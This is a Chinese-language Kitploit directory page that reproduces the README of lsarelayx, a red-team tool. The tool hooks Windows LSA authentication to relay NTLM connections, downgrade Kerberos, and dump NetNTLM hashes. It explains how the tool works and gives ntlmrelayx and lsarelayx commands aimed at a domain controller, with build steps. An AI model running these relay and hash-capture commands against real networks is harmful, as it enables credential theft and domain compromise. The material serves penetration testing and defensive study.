Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
lsarelayx — 系统范围的NTLM中继工具,它钩住Windows身份验证API以中继传入的NTLM连接,降级Kerberos,并转储NetNTLM哈希用于离线破解。 | Kitploit
工具/GitHubGitHub/ccob/lsarelayx
密码攻击漏洞利用渗透测试身份验证红队
GitHubccob/lsarelayx

lsarelayx

系统范围的NTLM中继工具,它钩住Windows身份验证API以中继传入的NTLM连接,降级Kerberos,并转储NetNTLM哈希用于离线破解。

查看仓库
58466234年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

lsarelayx

介绍

lsarelayx 是一个系统级的 NTLM 中继工具,旨在将传入的基于 NTLM 的身份认证中继到其运行的主机上。lsarelayx 将中继 任何 传入的身份认证请求,包括 SMB。由于 lsarelayx 会挂接现有的应用程序身份认证流程,该工具还会在中继完成后尝试服务原始的身份认证请求。这将防止目标应用程序/协议显示错误,并使其对向 lsarelayx 主机进行身份认证的最终用户而言,功能正常。

特性

  • 系统级中继 NTLM 连接,包括 SMB、HTTP/HTTPS、LDAP/LDAPS 或任何其他实现 Windows 身份认证 API 的第三方应用程序。
  • 在可能的情况下,将传入的 Kerberos 身份认证请求降级为 NTLM。这将使传统上尝试 Kerberos 身份认证的客户端回退到 NTLM。
  • 对中继用户执行 LDAP 查询,以获取组成员信息,并为原始请求创建正确的身份认证令牌。
  • 转储 NetNTLM 消息以供离线破解。
  • 支持被动模式,该模式不进行中继,仅转储捕获的 NetNTLM 哈希(此模式下不进行 Kerberos 降级)。

工作原理

lsarelayx 由三部分组成。一个实现在 liblsarelax.dll 中的虚假 LSA 身份认证提供程序,一个作为控制界面的用户态控制台应用程序,以及一个名为 RAW 的新 ntlmrelayx 服务器模块。

liblsarelayx.dll

liblsarelayx.dll 是由 lsarelayx 加载的 LSA 身份认证提供程序。其主要目的是挂接 NTLM 和 Negotiate 包,以便将身份认证请求重定向到 lsarelayx(通过本地命名管道),从而进行中继和转储 NetNTLM 哈希。liblsarelayx 被设计得尽可能简单,所有繁重的工作由 lsarelayx 执行。

lsarelayx.exe

lsarelayx.exe 是主要控制台应用程序,用于加载自定义 LSA 身份认证提供程序 (liblsarelayx.dll),监听来自该提供程序的传入 NTLM 和 Negotiate 令牌,并将其中继到 ntlmrelayx 的 RAW 服务器模块。该工具还执行用于捕获中继用户组信息并将其传回 LSA 身份认证提供程序的 LDAP 查询。

RAW ntlmrelayx 模块

impacket 的 ntlmrelayx 已经实现了大量的中继攻击工作,并将继续改进并在未来增加更多攻击。为了利用这些成果,而不是在 lsarelayx 内部重新实现攻击,我们创建了一个名为 RAW 的新 ntlmrelayx 服务器模块。目前,在 GitHub 上有一个 PR 实现了该 RAW 服务器模块。RAW 服务器模块是协议无关的,旨在直接从第三方软件(如 lsarelayx)接收原始的 NTLM 消息。

在该 PR 合并到 impacket 主线仓库之前,您可以使用 此版本。

使用方法

主动模式

首先启动 ntlmrelayx RAW 服务器模块,以监听来自 lsarelayx 的原始 NTLM 消息。

python examples\ntlmrelayx.py -smb2support --no-wcf-server --no-smb-server --no-http-server "-t" smb://dc.victim.lan

Impacket v0.9.24.dev1+20211015.125134.c0ec6102 - Copyright 2021 SecureAuth Corporation

[*] Protocol Client DCSYNC loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Running in relay mode to single host
[*] Setting up RAW Server on port 6666

[*] Servers started, waiting for connections

lsarelayx 本身需要本地管理员权限才能运行。要在主动中继模式下运行,需要指定运行 ntlmrelayx RAW 服务器模块的主机地址。默认端口为 6666。可以通过 --port 参数覆盖此端口,但请确保同时在 ntlmrelayx 端使用 --raw-port 参数覆盖端口。

lsarelayx.exe --host 192.168.1.1
[+] Using 192.168.1.1:6666 for relaying NTLM connections
[=] Attempting to load LSA plugin C:\users\Administrator\Desktop\liblsarelayx.dll

被动模式

您也可以不带任何参数运行 lsarelayx 以进入被动模式

lsarelayx.exe
[=] No host supplied, switching to passive mode
[=] Attempting to load LSA plugin C:\users\Administrator\Desktop\liblsarelayx.dll

注意事项

一旦 liblsarelayx DLL 被加载到 lsass 进程中,由于 LSA 插件的工作方式限制,目前无法将其卸载。可以关闭客户端,这会使 DLL 进入休眠状态,直到客户端再次启动,但 DLL 将一直处于使用状态,直到系统重启。

由于 LSA 插件并不是真正的插件,计划在插件内部实现一个反射加载器,以便可以随时启动和停止,但这需要另寻时机。

开发工作在 Windows 10 和 Server 2016 上完成。在 Windows Server 2012 R2 上进行了快速测试,可以工作,但用于挂钩的偏移量计算在 2012 上可能会失败(可以通过 lookuppackage-hint= 手动提供偏移量,如果弄错,Windows 将会重启)。在桌面端低于 Windows 10 的版本上未进行任何测试,也完全未在 Server 2019 上进行测试。

!!警告!!

liblsarelayx.dll 将被加载到关键的 lsass.exe 进程中。如果 liblsarelayx.dll 存在任何导致 lsass.exe 崩溃的错误,主机将在 60 秒后重启。尽管已尽最大努力编写无错误的代码,但我无法做出任何保证。如果您因为使用 lsarelayx 导致陷入困境的财富 500 强客户的文件服务器崩溃,请不要来找我哭诉。

构建

Docker

如果您安装了 Docker,这是最快的选择。它使用预先安装了所有构建依赖项的 ccob/windows_cross 镜像。

Windows 上的 Docker (Powershell)

docker run --rm -it -v $env:pwd\:/root/lsarelayx ccob/windows_cross:latest /bin/bash -c "cd /root/lsarelayx; mkdir build; cd build; cmake -DCMAKE_INSTALL_PREFIX=/root/lsarelayx/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..; --build . --target install/strip"

Linux 上的 Docker

docker run --rm -it -v $(pwd):/root/lsarelayx ccob/windows_cross:latest /bin/bash -c "cd /root/lsarelayx; mkdir build; cd build; cmake -DCMAKE_INSTALL_PREFIX=/root/lsarelayx/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..; cmake --build . --target install/strip"

Linux

在 Linux 上,我们使用 CMake 工具链以及 MinGW 编译器。这些需要事先安装好。对于托管组件,请确保也安装了 .NET core 中的 dotnet 命令行工具

mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=$PWD/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..
cmake --build . --target install/strip

Windows (Powershell)

在 Windows 上,在尝试构建之前需要完整的 CMake、MinGW 和 Visual Studio 设置,如果您没有安装开发环境,这是最痛苦的构建方式

mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=$PWD/dist -DCMAKE_BUILD_TYPE=MinSizeRel -G "MinGW Makefiles" ..
cmake --build . --target install/strip
下载工具